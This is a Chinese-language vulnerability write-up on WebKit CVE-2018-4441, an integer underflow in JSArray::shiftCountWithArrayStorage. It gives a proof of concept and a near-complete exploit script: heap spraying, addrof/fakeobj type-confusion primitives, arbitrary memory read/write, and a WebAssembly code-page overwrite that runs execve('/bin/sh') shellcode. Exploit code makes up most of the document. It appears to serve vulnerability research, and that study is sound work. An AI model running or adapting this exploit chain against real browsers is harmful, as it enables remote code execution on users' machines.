Webkit cve-2018-4441 shiftCountWithArrayStorage 漏洞分析与复现
字数 1217 2025-08-25 22:58:35
WebKit CVE-2018-4441 shiftCountWithArrayStorage 漏洞分析与利用
漏洞概述
CVE-2018-4441 是 WebKit 中的一个漏洞,由安全研究员 lokihardt 发现。该漏洞存在于 JSArray::shiftCountWithArrayStorage 函数中,可能导致内存越界访问,最终可用于实现远程代码执行。
环境配置
- 使用补丁前一个版本:commit
21687be235d506b9712e83c1e6d8e0231cc9adfd - 编译环境:Ubuntu 18.04
- 相关文件:可参考作者提供的环境配置
漏洞分析
漏洞位置
漏洞位于 Source/JavaScriptCore/runtime/JSArray.cpp 中的 shiftCountWithArrayStorage 函数:
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
unsigned oldLength = storage->length();
RELEASE_ASSERT(count <= oldLength);
// 漏洞点:holesMustForwardToPrototype 条件判断不充分
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType())) {
return false;
}
if (!oldLength)
return true;
unsigned length = oldLength - count;
storage->m_numValuesInVector -= count; // 可能造成整数下溢
storage->setLength(length);
//...
}
漏洞原理
-
条件判断缺陷:
holesMustForwardToPrototype在大多数情况下返回 false,导致即使数组包含 holes 也能进入后续处理逻辑。 -
整数计算问题:当
m_numValuesInVector小于count时,m_numValuesInVector -= count会导致整数下溢,使m_numValuesInVector变为一个很大的值。 -
hasHoles() 判断失效:
hasHoles()通过比较m_numValuesInVector和length(),当下溢发生后,两者可能相等,导致hasHoles()返回 false。
POC 分析
function main() {
let arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;
arr.splice(0xfffffff0, 0, 1);
}
main();
POC 执行流程:
- 创建
ArrayWithInt32类型数组[1] - 设置 length 为 0x100000,转换为
ArrayWithArrayStorage - 调用
splice(0, 0x11)触发漏洞:oldLength = 0x100000count = 0x11length = 0x100000 - 0x11 = 0xfffefm_numValuesInVector = 1 - 0x11 = 0xfffffff0(下溢)
- 设置 length 为 0xfffffff0,使
hasHoles()返回 false - 调用
splice(0xfffffff0, 0, 1)触发越界内存操作
漏洞利用
内存布局构造
- 喷射大量对象,构造特定内存布局:
let spray = new Array(0x3000);
for (let i = 0; i < 0x3000; i += 2) {
spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; // 用于 fakeobj
}
for (let i = 0; i < 0x3000; i += 2)
spray[i][0] = i2f(0x1337);
- 触发漏洞后寻找被修改长度的对象:
arr.splice(0x1000,0,1);
fake_index=-1;
for(let i=0;i<0x3000;i+=2){
if(spray[i].length!=10){
print("hit: "+i.toString(16));
fake_index=i;
break;
}
}
addrof 和 fakeobj 原语构造
unboxed = spray[fake_index]; // ArrayWithDouble
boxed = spray[fake_index+1]; // ArrayWithContiguous
function addrof(obj){
boxed[0] = obj;
return f2i(unboxed[14]); // 通过类型混淆读取对象地址
}
function fakeobj(addr){
unboxed[14] = i2f(addr); // 通过类型混淆伪造对象
return boxed[0];
}
任意地址读写
- 创建 victim 数组:
victim = [1.1];
victim[0] = 3.3;
victim['prop'] = 13.37;
victim['prop'+1] = 13.37;
- 构造容器对象:
i32[0]=100;
i32[1]=0x01082107 - 0x10000;
var container={
jscell:f64[0],
butterfly:victim,
}
- 实现任意读写:
var hax = fakeobj(container_addr+0x10);
var unboxed2 = [1.1];
unboxed2[0] =3.3;
var boxed2 = [{}]
// 设置读写原语
hax[1] = i2f(addrof(unboxed2))
var shared = victim[1];
hax[1] = i2f(addrof(boxed2))
victim[1] = shared;
var stage2={
read64: function(addr){
hax[1] = i2f(addr + 0x10);
return this.addrof(victim.prop);
},
write64: function(addr,data){
hax[1] = i2f(addr+0x10);
victim.prop = this.fakeobj(data)
}
}
通过 WASM 执行 shellcode
stage2.pwn = function(){
var wasm_code = new Uint8Array([...]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var addr_f = this.addrof(f);
var addr_p = this.read64(addr_f + 0x40);
var addr_shellcode = this.read64(addr_p);
shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
this.write(addr_shellcode, shellcode);
f();
}
完整 EXP
// 类型转换函数
var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)
var BASE32 = 0x100000000
function f2i(f) {
f64[0] = f
return i32[0] + BASE32 * i32[1]
}
function i2f(i) {
i32[0] = i % BASE32
i32[1] = i / BASE32
return f64[0]
}
// 触发漏洞
let arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;
// 内存喷射
let spray = new Array(0x3000);
for (let i = 0; i < 0x3000; i += 2) {
spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
}
for (let i = 0; i < 0x3000; i += 2)
spray[i][0] = i2f(0x1337)
// 触发memmove越界
arr.splice(0x1000,0,1);
// 寻找被修改的对象
fake_index=-1;
for(let i=0;i<0x3000;i+=2){
if(spray[i].length!=10){
print("hit: "+i.toString(16));
fake_index=i;
break;
}
}
// 构造addrof/fakeobj
unboxed = spray[fake_index];
boxed = spray[fake_index+1];
function addrof(obj){
boxed[0] = obj;
return f2i(unboxed[14]);
}
function fakeobj(addr){
unboxed[14] = i2f(addr);
return boxed[0];
}
// 构造任意读写
victim = [1.1];
victim[0] =3.3;;
victim['prop'] = 13.37;
victim['prop'+1] = 13.37;
i32[0]=100;
i32[1]=0x01082107 - 0x10000;
var container={
jscell:f64[0],
butterfly:victim,
}
container_addr = addrof(container);
hax = fakeobj(container_addr+0x10);
var unboxed2 = [1.1];
unboxed2[0] =3.3;
var boxed2 = [{}]
hax[1] = i2f(addrof(unboxed2))
var shared = victim[1];
hax[1] = i2f(addrof(boxed2))
victim[1] = shared;
// 最终利用
var stage2={
addrof: function(obj){
boxed2[0] = obj;
return f2i(unboxed2[0]);
},
fakeobj: function(addr){
unboxed2[0] = i2f(addr);
return boxed2[0];
},
read64: function(addr){
hax[1] = i2f(addr + 0x10);
return this.addrof(victim.prop);
},
write64: function(addr,data){
hax[1] = i2f(addr+0x10);
victim.prop = this.fakeobj(data)
},
write: function(addr, shellcode) {
var theAddr = addr;
for(var i=0;i<shellcode.length;i++){
this.write64(addr+i,shellcode[i].charCodeAt())
}
},
pwn: function(){
var wasm_code = new Uint8Array([...]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var addr_f = this.addrof(f);
var addr_p = this.read64(addr_f + 0x40);
var addr_shellcode = this.read64(addr_p);
shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
this.write(addr_shellcode, shellcode);
f();
}
}
stage2.pwn();
参考
- https://anquan.baidu.com/article/644
- 原始漏洞报告和 lokihardt 的分析